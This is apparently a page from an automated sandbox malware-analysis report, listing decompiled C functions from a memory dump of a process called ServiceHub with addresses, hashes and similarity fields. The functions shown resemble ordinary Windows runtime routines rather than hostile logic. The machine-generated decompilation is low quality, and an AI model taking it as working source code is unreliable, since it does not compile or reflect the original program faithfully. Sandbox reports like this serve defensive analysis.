				_t30 = __edx;
				_t31 = __ecx;
				E011EFA60( &_v64, 0, 0x30);
				_v24 = _a4;
				_v32 = _t31;
				_v28 = _t30;
				_v58 = 0x266;
				if(E011C7D50() == 0) {
					_t18 = 0x7ffe0388;
				} else {
					_t18 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22e;
				}
				_push( &_v64);
				_push(0x10);
				_push(0x20402);
				_push( *_t18 & 0x000000ff);
				return E011EB640(E011E9AE0(), _t24, _v12 ^ _t32, _t29, _t30, _t31);
			}
















                                          0x0125fec0
                                          0x0125fec0
                                          0x0125fecf
                                          0x0125fed9
                                          0x0125fede
                                          0x0125fee0
                                          0x0125feeb
                                          0x0125fef3
                                          0x0125fef6
                                          0x0125fef9
                                          0x0125ff04
                                          0x0125ff16
                                          0x0125ff06
                                          0x0125ff0f
                                          0x0125ff0f
                                          0x0125ff21
                                          0x0125ff22
                                          0x0125ff24
                                          0x0125ff29
                                          0x0125ff3e

                                          Memory Dump Source
                                          • Source File: 00000011.00000002.571893766.0000000001180000.00000040.00001000.00020000.00000000.sdmp, Offset: 01180000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_17_2_1180000_ServiceHub.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: 5a80a7c7b6d9cb3136889032792e49e03661549044eb5d5a1401d757ed1b5f2d
                                          • Instruction ID: 90f1d1e79b93d9a16661f4b1cf8455ae45b06cd55c2f14526c1d8f5bfce61da7
                                          • Opcode Fuzzy Hash: 5a80a7c7b6d9cb3136889032792e49e03661549044eb5d5a1401d757ed1b5f2d
                                          • Instruction Fuzzy Hash: 7B018471A1060DABDB14DBA9D946FAEBBB8EF94704F404066F901AB280DA749A01CB94
                                          Uniqueness

                                          Uniqueness Score: -1.00%

                                          Function 01278A62 Relevance: .0, Instructions: 44COMMON
                                          Download Yara Rule
                                          C-Code - Quality: 54%
                                          			E01278A62(intOrPtr __ecx, intOrPtr __edx, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12) {
				signed int _v12;
				intOrPtr _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				short _v66;
				char _v72;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed char* _t18;
				signed int _t32;

				_t29 = __edx;
				_v12 =  *0x129d360 ^ _t32;
				_t31 = _a8;
				_t30 = _a12;
				_v66 = 0x1c20;
				_v40 = __ecx;
				_v36 = __edx;
				_v32 = _a4;
				_v28 = _a8;
				_v24 = _a12;
				if(E011C7D50() == 0) {
					_t18 = 0x7ffe0386;
				} else {
					_t18 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22c;
				}
				_push( &_v72);
				_push(0x14);
				_push(0x20402);
				_push( *_t18 & 0x000000ff);
				return E011EB640(E011E9AE0(), 0x1c20, _v12 ^ _t32, _t29, _t30, _t31);
			}
















                                          0x01278a62
                                          0x01278a71
                                          0x01278a79
                                          0x01278a82
                                          0x01278a85
                                          0x01278a89
                                          0x01278a8c
                                          0x01278a8f
                                          0x01278a92
                                          0x01278a95
                                          0x01278a9f
                                          0x01278ab1
                                          0x01278aa1
                                          0x01278aaa
                                          0x01278aaa
                                          0x01278abc
                                          0x01278abd
                                          0x01278abf
                                          0x01278ac4
                                          0x01278ada

                                          Memory Dump Source
                                          • Source File: 00000011.00000002.571893766.0000000001180000.00000040.00001000.00020000.00000000.sdmp, Offset: 01180000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_17_2_1180000_ServiceHub.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: 1160c373f10b95e309bd2b0b258239dd5076ea04759d4cc19a9358cf6bd92223
                                          • Instruction ID: 6f0b33021f70dc0b34b1011fedd732d968dfa504f1dc6cf6134ac816944138b1
                                          • Opcode Fuzzy Hash: 1160c373f10b95e309bd2b0b258239dd5076ea04759d4cc19a9358cf6bd92223
                                          • Instruction Fuzzy Hash: 2F012CB1A1021DAFCB04DFA9D9459AEBBF8FF58714F10405AFA05E7341D774A900CBA4
                                          Uniqueness

                                          Uniqueness Score: -1.00%

                                          Function 01278ED6 Relevance: .0, Instructions: 44COMMON
                                          Download Yara Rule
                                          C-Code - Quality: 54%
                                          			E01278ED6(intOrPtr __ecx, intOrPtr __edx) {
				signed int _v8;
				signed int _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				short _v62;
				char _v68;
				signed char* _t29;
				intOrPtr _t35;
				intOrPtr _t41;
				intOrPtr _t42;
				signed int _t43;

				_t40 = __edx;
				_v8 =  *0x129d360 ^ _t43;
				_v28 = __ecx;
				_v62 = 0x1c2a;
				_v36 =  *((intOrPtr*)(__edx + 0xc8));
				_v32 =  *((intOrPtr*)(__edx + 0xcc));
				_v20 =  *((intOrPtr*)(__edx + 0xd8));
				_v16 =  *((intOrPtr*)(__edx + 0xd4));
				_v24 = __edx;
				_v12 = ( *(__edx + 0xde) & 0x000000ff) >> 0x00000001 & 0x00000001;
				if(E011C7D50() == 0) {
					_t29 = 0x7ffe0386;
				} else {
					_t29 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22c;
				}
				_push( &_v68);
				_push(0x1c);
				_push(0x20402);
				_push( *_t29 & 0x000000ff);
				return E011EB640(E011E9AE0(), _t35, _v8 ^ _t43, _t40, _t41, _t42);
			}


















                                          0x01278ed6
                                          0x01278ee5
                                          0x01278eed
                                          0x01278ef0
                                          0x01278efa
                                          0x01278f03
                                          0x01278f0c
                                          0x01278f15
                                          0x01278f24
                                          0x01278f27
                                          0x01278f31
                                          0x01278f43
                                          0x01278f33
                                          0x01278f3c
                                          0x01278f3c
                                          0x01278f4e
                                          0x01278f4f
                                          0x01278f51
                                          0x01278f56
                                          0x01278f69

                                          Memory Dump Source
                                          • Source File: 00000011.00000002.571893766.0000000001180000.00000040.00001000.00020000.00000000.sdmp, Offset: 01180000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_17_2_1180000_ServiceHub.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: cddf1c275c649d50abc70185a526cea460f5079db88b7c65c5f24fbc87f34eb5
                                          • Instruction ID: 71b4e0fbfa1bb58f2c346457e0a587468384ad023ba9d6c5382aea3ea95e57b5
                                          • Opcode Fuzzy Hash: cddf1c275c649d50abc70185a526cea460f5079db88b7c65c5f24fbc87f34eb5
                                          • Instruction Fuzzy Hash: C2111E70A1060A9FDB04DFA8D545BAEBBF4FF08304F4442AAE519EB381E7349940CB94
                                          Uniqueness

                                          Uniqueness Score: -1.00%

                                          Function 011ADB60 Relevance: .0, Instructions: 43COMMON
                                          Download Yara Rule
                                          C-Code - Quality: 100%
                                          			E011ADB60(signed int __ecx) {
				intOrPtr* _t9;
				void* _t12;
				void* _t13;
				intOrPtr _t14;

				_t9 = __ecx;
				_t14 = 0;
				if(__ecx == 0 ||  *((intOrPtr*)(__ecx)) != 0) {
					_t13 = 0xc000000d;
				} else {
					_t14 = E011ADB40();
					if(_t14 == 0) {
						_t13 = 0xc0000017;
					} else {
						_t13 = E011AE7B0(__ecx, _t12, _t14, 0xfff);
						if(_t13 < 0) {
							L011AE8B0(__ecx, _t14, 0xfff);
							L011C77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t14);
							_t14 = 0;
						} else {
							_t13 = 0;
							 *((intOrPtr*)(_t14 + 0xc)) =  *0x7ffe03a4;
						}
					}
				}
				 *_t9 = _t14;
				return _t13;
			}







                                          0x011adb64
                                          0x011adb66
                                          0x011adb6b
                                          0x011adbaa
                                          0x011adb71
                                          0x011adb76
                                          0x011adb7a
                                          0x011adba3
                                          0x011adb7c
                                          0x011adb87
                                          0x011adb8b
                                          0x01204fa1
                                          0x01204fb3
                                          0x01204fb8
                                          0x011adb91
                                          0x011adb96
                                          0x011adb98
                                          0x011adb98
                                          0x011adb8b
                                          0x011adb7a
                                          0x011adb9d
                                          0x011adba2

                                          Memory Dump Source
                                          • Source File: 00000011.00000002.571893766.0000000001180000.00000040.00001000.00020000.00000000.sdmp, Offset: 01180000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_17_2_1180000_ServiceHub.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: 4108fb18439822e7528065d03744c5b66e5752e741267b0d2dbc6e7ad13d6de1
                                          • Instruction ID: 292b0394356115e2821dfd2e4d6277b3b4e4b985dae7186236ae3d2f4854db81
                                          • Opcode Fuzzy Hash: 4108fb18439822e7528065d03744c5b66e5752e741267b0d2dbc6e7ad13d6de1
                                          • Instruction Fuzzy Hash: 1BF0F237141D23DBDB3A56D95484F1BBE558FD3A50F560435F20597744CB608C0146D1
                                          Uniqueness

                                          Uniqueness Score: -1.00%

                                          Function 011AB1E1 Relevance: .0, Instructions: 42COMMON
                                          Download Yara Rule
                                          C-Code - Quality: 100%
                                          			E011AB1E1(intOrPtr __ecx, char __edx, char _a4, signed short* _a8) {
				signed char* _t13;
				intOrPtr _t22;
				char _t23;

				_t23 = __edx;
				_t22 = __ecx;
				if(E011C7D50() != 0) {
					_t13 = ( *[fs:0x30])[0x50] + 0x22a;
				} else {
					_t13 = 0x7ffe0384;
				}
				if( *_t13 != 0) {
					_t13 =  *[fs:0x30];
					if((_t13[0x240] & 0x00000004) == 0) {
						goto L3;
					}
					if(E011C7D50() == 0) {
						_t13 = 0x7ffe0385;
					} else {
						_t13 = ( *[fs:0x30])[0x50] + 0x22b;
					}
					if(( *_t13 & 0x00000020) == 0) {
						goto L3;
					}
					return E01227016(0x14a4, _t22, _t23, _a4, _a8, 0);
				} else {
					L3:
					return _t13;
				}
			}






                                          0x011ab1e8
                                          0x011ab1ea
                                          0x011ab1f3
                                          0x01204a17
                                          0x011ab1f9
                                          0x011ab1f9
                                          0x011ab1f9
                                          0x011ab201
                                          0x01204a21
                                          0x01204a2e
                                          0x00000000
                                          0x00000000
                                          0x01204a3b
                                          0x01204a4d
                                          0x01204a3d
                                          0x01204a46
                                          0x01204a46
                                          0x01204a55
                                          0x00000000
                                          0x00000000
                                          0x00000000
                                          0x011ab20a
                                          0x011ab20a
                                          0x011ab20a
                                          0x011ab20a

                                          Memory Dump Source
                                          • Source File: 00000011.00000002.571893766.0000000001180000.00000040.00001000.00020000.00000000.sdmp, Offset: 01180000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_17_2_1180000_ServiceHub.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: d7c926d8f7ad5fed70f9c3145ab0d11368f8906714783f3796a50782a1b3489b
                                          • Instruction ID: f7a0ade8e37f51a682275327b39e5c44f343c785acd38d10a6155d7108361178
                                          • Opcode Fuzzy Hash: d7c926d8f7ad5fed70f9c3145ab0d11368f8906714783f3796a50782a1b3489b
                                          • Instruction Fuzzy Hash: 2601D1362146C0ABD32BA76DC804F697F99EFA1764F0940A2FB148B6F3D778D840C619
                                          Uniqueness

                                          Uniqueness Score: -1.00%

                                          Function 0123FE87 Relevance: .0, Instructions: 38COMMON
                                          Download Yara Rule
                                          C-Code - Quality: 46%
                                          			E0123FE87(intOrPtr __ecx) {
				signed int _v8;
				intOrPtr _v16;
				intOrPtr _v20;
				signed int _v24;
				intOrPtr _v28;
				short _v54;
				char _v60;
				signed char* _t21;
				intOrPtr _t27;
				intOrPtr _t32;
				intOrPtr _t33;
				intOrPtr _t34;
				signed int _t35;

				_v8 =  *0x129d360 ^ _t35;
				_v16 = __ecx;
				_v54 = 0x1722;
				_v24 =  *(__ecx + 0x14) & 0x00ffffff;
				_v28 =  *((intOrPtr*)(__ecx + 4));
				_v20 =  *((intOrPtr*)(__ecx + 0xc));
				if(E011C7D50() == 0) {
					_t21 = 0x7ffe0382;
				} else {
					_t21 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x228;
				}
				_push( &_v60);
				_push(0x10);
				_push(0x20402);
				_push( *_t21 & 0x000000ff);
				return E011EB640(E011E9AE0(), _t27, _v8 ^ _t35, _t32, _t33, _t34);
			}
















                                          0x0123fe96
                                          0x0123fe9e
                                          0x0123fea1
                                          0x0123fead
                                          0x0123feb3
                                          0x0123feb9
                                          0x0123fec3
                                          0x0123fed5
                                          0x0123fec5
                                          0x0123fece
                                          0x0123fece
                                          0x0123fee0
                                          0x0123fee1
                                          0x0123fee3
                                          0x0123fee8
                                          0x0123fefb

                                          Memory Dump Source
                                          • Source File: 00000011.00000002.571893766.0000000001180000.00000040.00001000.00020000.00000000.sdmp, Offset: 01180000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_17_2_1180000_ServiceHub.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: d2a4ad61670e43c2f4d8c6987a1bbb0440c8b3d5de79b15da925fa74119d4138
                                          • Instruction ID: a570e39383d44388713c1df49203dfee63b1559c134730fc2f333c231effef46
                                          • Opcode Fuzzy Hash: d2a4ad61670e43c2f4d8c6987a1bbb0440c8b3d5de79b15da925fa74119d4138
                                          • Instruction Fuzzy Hash: 7F016271A0020DAFCB14DFA8D546A6EB7F4FF18704F104159B515DB382D635D901CB55
                                          Uniqueness

                                          Uniqueness Score: -1.00%

                                          Function 0126131B Relevance: .0, Instructions: 36COMMON
                                          Download Yara Rule
                                          C-Code - Quality: 48%
                                          			E0126131B(intOrPtr __ecx, intOrPtr __edx, intOrPtr _a4, intOrPtr _a8) {
				signed int _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				short _v50;
				char _v56;
				signed char* _t18;
				intOrPtr _t24;
				intOrPtr _t30;
				intOrPtr _t31;
				signed int _t32;

				_t29 = __edx;
				_v8 =  *0x129d360 ^ _t32;
				_v20 = _a4;
				_v12 = _a8;
				_v24 = __ecx;
				_v16 = __edx;
				_v50 = 0x1021;
				if(E011C7D50() == 0) {
					_t18 = 0x7ffe0380;
				} else {
					_t18 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
				}
				_push( &_v56);
				_push(0x10);
				_push(0x20402);
				_push( *_t18 & 0x000000ff);
				return E011EB640(E011E9AE0(), _t24, _v8 ^ _t32, _t29, _t30, _t31);
			}















                                          0x0126131b
                                          0x0126132a
                                          0x01261330
                                          0x01261336
                                          0x0126133e
                                          0x01261341
                                          0x01261344
                                          0x0126134f
                                          0x01261361
                                          0x01261351
                                          0x0126135a
                                          0x0126135a
                                          0x0126136c
                                          0x0126136d
                                          0x0126136f
                                          0x01261374
                                          0x01261387

                                          Memory Dump Source
                                          • Source File: 00000011.00000002.571893766.0000000001180000.00000040.00001000.00020000.00000000.sdmp, Offset: 01180000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_17_2_1180000_ServiceHub.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: 7ba6cd23e9dfddbd75e30444ca4daf326f78e7f27660b4122e5f263862d88b54
                                          • Instruction ID: 201693e246edcbaf5d4c6052ccb5a4bb6587c417ed2cabe4629f6da0f648ce56
                                          • Opcode Fuzzy Hash: 7ba6cd23e9dfddbd75e30444ca4daf326f78e7f27660b4122e5f263862d88b54
                                          • Instruction Fuzzy Hash: A2018CB1A0020DAFCB04EFE8D509AAEB7F4FF58700F104059F905EB381E674AA50CB94
                                          Uniqueness

                                          Uniqueness Score: -1.00%

                                          Function 01278F6A Relevance: .0, Instructions: 36COMMON
                                          Download Yara Rule
                                          C-Code - Quality: 48%
                                          			E01278F6A(intOrPtr __ecx, intOrPtr __edx, intOrPtr _a4, intOrPtr _a8) {
				signed int _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				short _v50;
				char _v56;
				signed char* _t18;
				intOrPtr _t24;
				intOrPtr _t30;
				intOrPtr _t31;
				signed int _t32;

				_t29 = __edx;
				_v8 =  *0x129d360 ^ _t32;
				_v16 = __ecx;
				_v50 = 0x1c2c;
				_v24 = _a4;
				_v20 = _a8;
				_v12 = __edx;
				if(E011C7D50() == 0) {
					_t18 = 0x7ffe0386;
				} else {
					_t18 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22c;
				}
				_push( &_v56);
				_push(0x10);
				_push(0x402);
				_push( *_t18 & 0x000000ff);
				return E011EB640(E011E9AE0(), _t24, _v8 ^ _t32, _t29, _t30, _t31);
			}















                                          0x01278f6a
                                          0x01278f79
                                          0x01278f81
                                          0x01278f84
                                          0x01278f8b
                                          0x01278f91
                                          0x01278f94
                                          0x01278f9e
                                          0x01278fb0
                                          0x01278fa0
                                          0x01278fa9
                                          0x01278fa9
                                          0x01278fbb
                                          0x01278fbc
                                          0x01278fbe
                                          0x01278fc3
                                          0x01278fd6

                                          Memory Dump Source
                                          • Source File: 00000011.00000002.571893766.0000000001180000.00000040.00001000.00020000.00000000.sdmp, Offset: 01180000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_17_2_1180000_ServiceHub.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: 74a61db5e7e453e88a4da291d50129b943b8c6243f71da5c1ad08891f6b7e6d4
                                          • Instruction ID: 93879f9641936d3e7368a7d4885881ce8ab757b56799860d074770d560b0ba06
                                          • Opcode Fuzzy Hash: 74a61db5e7e453e88a4da291d50129b943b8c6243f71da5c1ad08891f6b7e6d4
                                          • Instruction Fuzzy Hash: 0D013C74A0020DAFDB04EFB8D549AAEBBF4EF58304F504059B905EB380EB74DA00CB95
                                          Uniqueness

                                          Uniqueness Score: -1.00%

                                          Function 01261608 Relevance: .0, Instructions: 34COMMON
                                          Download Yara Rule
                                          C-Code - Quality: 46%
                                          			E01261608(intOrPtr __ecx, intOrPtr __edx, intOrPtr _a4) {
				signed int _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				short _v46;
				char _v52;
				signed char* _t15;
				intOrPtr _t21;
				intOrPtr _t27;
				intOrPtr _t28;
				signed int _t29;

				_t26 = __edx;
				_v8 =  *0x129d360 ^ _t29;
				_v12 = _a4;
				_v20 = __ecx;
				_v16 = __edx;
				_v46 = 0x1024;
				if(E011C7D50() == 0) {
					_t15 = 0x7ffe0380;
				} else {
					_t15 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
				}
				_push( &_v52);
				_push(0xc);
				_push(0x20402);
				_push( *_t15 & 0x000000ff);
				return E011EB640(E011E9AE0(), _t21, _v8 ^ _t29, _t26, _t27, _t28);
			}














                                          0x01261608
                                          0x01261617
                                          0x0126161d
                                          0x01261625
                                          0x01261628
                                          0x0126162b
                                          0x01261636
                                          0x01261648
                                          0x01261638
                                          0x01261641
                                          0x01261641
                                          0x01261653
                                          0x01261654
                                          0x01261656
                                          0x0126165b
                                          0x0126166e

                                          Memory Dump Source
                                          • Source File: 00000011.00000002.571893766.0000000001180000.00000040.00001000.00020000.00000000.sdmp, Offset: 01180000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_17_2_1180000_ServiceHub.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: cd7c4a5e89aab42436879fba20dd208fb7e0d6fe8cd6745e7e9cbc7bd558e1ad
                                          • Instruction ID: 3647e118ed499809ae77b5ba73808b59811e87c7d6f0e9ee39de4d95cbe8d5e1
                                          • Opcode Fuzzy Hash: cd7c4a5e89aab42436879fba20dd208fb7e0d6fe8cd6745e7e9cbc7bd558e1ad
                                          • Instruction Fuzzy Hash: BAF0C271A1020DEFCB04DFE8D406A6EB7F8EF58300F004059F901EB380E6349900CB84
                                          Uniqueness

                                          Uniqueness Score: -1.00%

                                          Function 011CC577 Relevance: .0, Instructions: 33COMMON
                                          Download Yara Rule
                                          C-Code - Quality: 100%
                                          			E011CC577(void* __ecx, char _a4) {
				void* __esi;
				void* __ebp;
				void* _t17;
				void* _t19;
				void* _t20;
				void* _t21;

				_t18 = __ecx;
				_t21 = __ecx;
				if(__ecx == 0 ||  *((char*)(__ecx + 0xdd)) != 0 || E011CC5D5(__ecx, _t19) == 0 ||  *((intOrPtr*)(__ecx + 4)) != 0x11811cc ||  *((char*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0x28)) != 0) {
					__eflags = _a4;
					if(__eflags != 0) {
						L10:
						E012788F5(_t17, _t18, _t19, _t20, _t21, __eflags);
						L9:
						return 0;
					}
					__eflags =  *((char*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0x28));
					if(__eflags == 0) {
						goto L10;
					}
					goto L9;
				} else {
					return 1;
				}
			}









                                          0x011cc577
                                          0x011cc57d
                                          0x011cc581
                                          0x011cc5b5
                                          0x011cc5b9
                                          0x011cc5ce
                                          0x011cc5ce
                                          0x011cc5ca
                                          0x00000000
                                          0x011cc5ca
                                          0x011cc5c4
                                          0x011cc5c8
                                          0x00000000
                                          0x00000000
                                          0x00000000
                                          0x011cc5ad
                                          0x00000000
                                          0x011cc5af

                                          Memory Dump Source
                                          • Source File: 00000011.00000002.571893766.0000000001180000.00000040.00001000.00020000.00000000.sdmp, Offset: 01180000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_17_2_1180000_ServiceHub.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: d798930c6cd4f4143cf76f3908ff16b0f300c24e175de58ea04330715f3c0208
                                          • Instruction ID: 25fdfbd6cfb3456983ca7e4ef3832317b3bfdf4c593ebc8bddf0b459eb1e3456
                                          • Opcode Fuzzy Hash: d798930c6cd4f4143cf76f3908ff16b0f300c24e175de58ea04330715f3c0208
                                          • Instruction Fuzzy Hash: A7F0FAB2B112909EE73E832CC014B227FE89B39E70F55856ED40E83A06C3A0CC80CAC1
                                          Uniqueness

                                          Uniqueness Score: -1.00%

                                          Function 01262073 Relevance: .0, Instructions: 32COMMON
                                          Download Yara Rule
                                          C-Code - Quality: 94%
                                          			E01262073(void* __ebx, void* __ecx, void* __edi, void* __eflags) {
				void* __esi;
				signed char _t3;
				signed char _t7;
				void* _t19;

				_t17 = __ecx;
				_t3 = E0125FD22(__ecx);
				_t19 =  *0x129849c - _t3; // 0x0
				if(_t19 == 0) {
					__eflags = _t17 -  *0x1298748; // 0x0
					if(__eflags <= 0) {
						E01261C06();
						_t3 =  *((intOrPtr*)( *[fs:0x30] + 2));
						__eflags = _t3;
						if(_t3 != 0) {
							L5:
							__eflags =  *0x1298724 & 0x00000004;
							if(( *0x1298724 & 0x00000004) == 0) {
								asm("int3");
								return _t3;
							}
						} else {
							_t3 =  *0x7ffe02d4 & 0x00000003;
							__eflags = _t3 - 3;
							if(_t3 == 3) {
								goto L5;
							}
						}
					}
					return _t3;
				} else {
					_t7 =  *0x1298724; // 0x0
					return E01258DF1(__ebx, 0xc0000374, 0x1295890, __edi, __ecx,  !_t7 >> 0x00000002 & 0x00000001,  !_t7 >> 0x00000002 & 0x00000001);
				}
			}







                                          0x01262076
                                          0x01262078
                                          0x0126207d
                                          0x01262083
                                          0x012620a4
                                          0x012620aa
                                          0x012620ac
                                          0x012620b7
                                          0x012620ba
                                          0x012620bc
                                          0x012620c9
                                          0x012620c9
                                          0x012620d0
                                          0x012620d2
                                          0x00000000
                                          0x012620d2
                                          0x012620be
                                          0x012620c3
                                          0x012620c5
                                          0x012620c7
                                          0x00000000
                                          0x00000000
                                          0x012620c7
                                          0x012620bc
                                          0x012620d4
                                          0x01262085
                                          0x01262085
                                          0x012620a3
                                          0x012620a3

                                          Memory Dump Source
                                          • Source File: 00000011.00000002.571893766.0000000001180000.00000040.00001000.00020000.00000000.sdmp, Offset: 01180000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_17_2_1180000_ServiceHub.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: 61fbdb2675532ed3f8071449c3a582ce6537f297f038dc8a34d2be169674e170
                                          • Instruction ID: 4ee94c02e49bef0fa1d49b0548509304034e5fcaa2771bd5454c25eec1efffad
                                          • Opcode Fuzzy Hash: 61fbdb2675532ed3f8071449c3a582ce6537f297f038dc8a34d2be169674e170
                                          • Instruction Fuzzy Hash: FFF0EC2A5361CACADF376B3C71153E53FDAD76A150F0D1445DA5017289C53688D3CB11
                                          Uniqueness

                                          Uniqueness Score: -1.00%

                                          Function 011E927A Relevance: .0, Instructions: 32COMMON
                                          Download Yara Rule
                                          C-Code - Quality: 54%
                                          			E011E927A(void* __ecx) {
				signed int _t11;
				void* _t14;

				_t11 = L011C4620(__ecx,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, 0x98);
				if(_t11 != 0) {
					E011EFA60(_t11, 0, 0x98);
					asm("movsd");
					asm("movsd");
					asm("movsd");
					asm("movsd");
					 *(_t11 + 0x1c) =  *(_t11 + 0x1c) & 0x00000000;
					 *((intOrPtr*)(_t11 + 0x24)) = 1;
					E011E92C6(_t11, _t14);
				}
				return _t11;
			}





                                          0x011e9295
                                          0x011e9299
                                          0x011e929f
                                          0x011e92aa
                                          0x011e92ad
                                          0x011e92ae
                                          0x011e92af
                                          0x011e92b0
                                          0x011e92b4
                                          0x011e92bb
                                          0x011e92bb
                                          0x011e92c5

                                          Memory Dump Source
                                          • Source File: 00000011.00000002.571893766.0000000001180000.00000040.00001000.00020000.00000000.sdmp, Offset: 01180000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_17_2_1180000_ServiceHub.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: fb98b62dac83db7e13ee253788b92f70b835eb404f2827a387eedf494df67516
                                          • Instruction ID: f7867db74396246b764441f7dee5c2c8e54d73ec341a361897715cef23962fa0
                                          • Opcode Fuzzy Hash: fb98b62dac83db7e13ee253788b92f70b835eb404f2827a387eedf494df67516
                                          • Instruction Fuzzy Hash: 6AE02B323409426BEB299E89CC84F0337ADDFD2728F00407CB9001E242C7E5DC0987A0
                                          Uniqueness

                                          Uniqueness Score: -1.00%

                                          Function 01278D34 Relevance: .0, Instructions: 32COMMON
                                          Download Yara Rule
                                          C-Code - Quality: 43%
                                          			E01278D34(intOrPtr __ecx, intOrPtr __edx) {
				signed int _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				short _v42;
				char _v48;
				signed char* _t12;
				intOrPtr _t18;
				intOrPtr _t24;
				intOrPtr _t25;
				signed int _t26;

				_t23 = __edx;
				_v8 =  *0x129d360 ^ _t26;
				_v16 = __ecx;
				_v42 = 0x1c2b;
				_v12 = __edx;
				if(E011C7D50() == 0) {
					_t12 = 0x7ffe0386;
				} else {
					_t12 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22c;
				}
				_push( &_v48);
				_push(8);
				_push(0x20402);
				_push( *_t12 & 0x000000ff);
				return E011EB640(E011E9AE0(), _t18, _v8 ^ _t26, _t23, _t24, _t25);
			}













                                          0x01278d34
                                          0x01278d43
                                          0x01278d4b
                                          0x01278d4e
                                          0x01278d52
                                          0x01278d5c
                                          0x01278d6e
                                          0x01278d5e
                                          0x01278d67
                                          0x01278d67
                                          0x01278d79
                                          0x01278d7a
                                          0x01278d7c
                                          0x01278d81
                                          0x01278d94

                                          Memory Dump Source
                                          • Source File: 00000011.00000002.571893766.0000000001180000.00000040.00001000.00020000.00000000.sdmp, Offset: 01180000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_17_2_1180000_ServiceHub.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: ca83c80fec865a642288ce4556d999e71bd54e55451818fdc6ae2a57a1cda52c
                                          • Instruction ID: 4e2a83285eff81cad0da67811e1f716fb180a612bbf9955beb3ee8c83bbc06e5
                                          • Opcode Fuzzy Hash: ca83c80fec865a642288ce4556d999e71bd54e55451818fdc6ae2a57a1cda52c
                                          • Instruction Fuzzy Hash: 5DF0B470A1460DAFDB18EFB8D54AA6E77B4EF18704F508099E905EB280DA74D900CB54
                                          Uniqueness

                                          Uniqueness Score: -1.00%

                                          Function 01278B58 Relevance: .0, Instructions: 31COMMON
                                          Download Yara Rule
                                          C-Code - Quality: 36%
                                          			E01278B58(intOrPtr __ecx) {
				signed int _v8;
				intOrPtr _v20;
				short _v46;
				char _v52;
				signed char* _t11;
				intOrPtr _t17;
				intOrPtr _t22;
				intOrPtr _t23;
				intOrPtr _t24;
				signed int _t25;

				_v8 =  *0x129d360 ^ _t25;
				_v20 = __ecx;
				_v46 = 0x1c26;
				if(E011C7D50() == 0) {
					_t11 = 0x7ffe0386;
				} else {
					_t11 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22c;
				}
				_push( &_v52);
				_push(4);
				_push(0x402);
				_push( *_t11 & 0x000000ff);
				return E011EB640(E011E9AE0(), _t17, _v8 ^ _t25, _t22, _t23, _t24);
			}













                                          0x01278b67
                                          0x01278b6f
                                          0x01278b72
                                          0x01278b7d
                                          0x01278b8f
                                          0x01278b7f
                                          0x01278b88
                                          0x01278b88
                                          0x01278b9a
                                          0x01278b9b
                                          0x01278b9d
                                          0x01278ba2
                                          0x01278bb5

                                          Memory Dump Source
